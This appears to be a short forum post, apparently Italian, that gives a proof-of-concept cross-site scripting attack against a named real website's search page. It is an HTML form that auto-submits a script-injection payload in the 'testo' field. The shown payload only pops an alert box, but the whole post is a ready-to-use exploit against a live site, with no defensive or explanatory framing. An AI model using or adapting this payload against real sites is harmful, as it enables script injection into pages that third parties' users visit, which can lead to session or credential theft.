http://www.padovanet.it/motore.jsp
Codice:
<form name="f" action="http://www.padovanet.it/motore.jsp" method="post"><input name=testo value='<script>alert("xss")</script>'></form><script>f.submit()</script>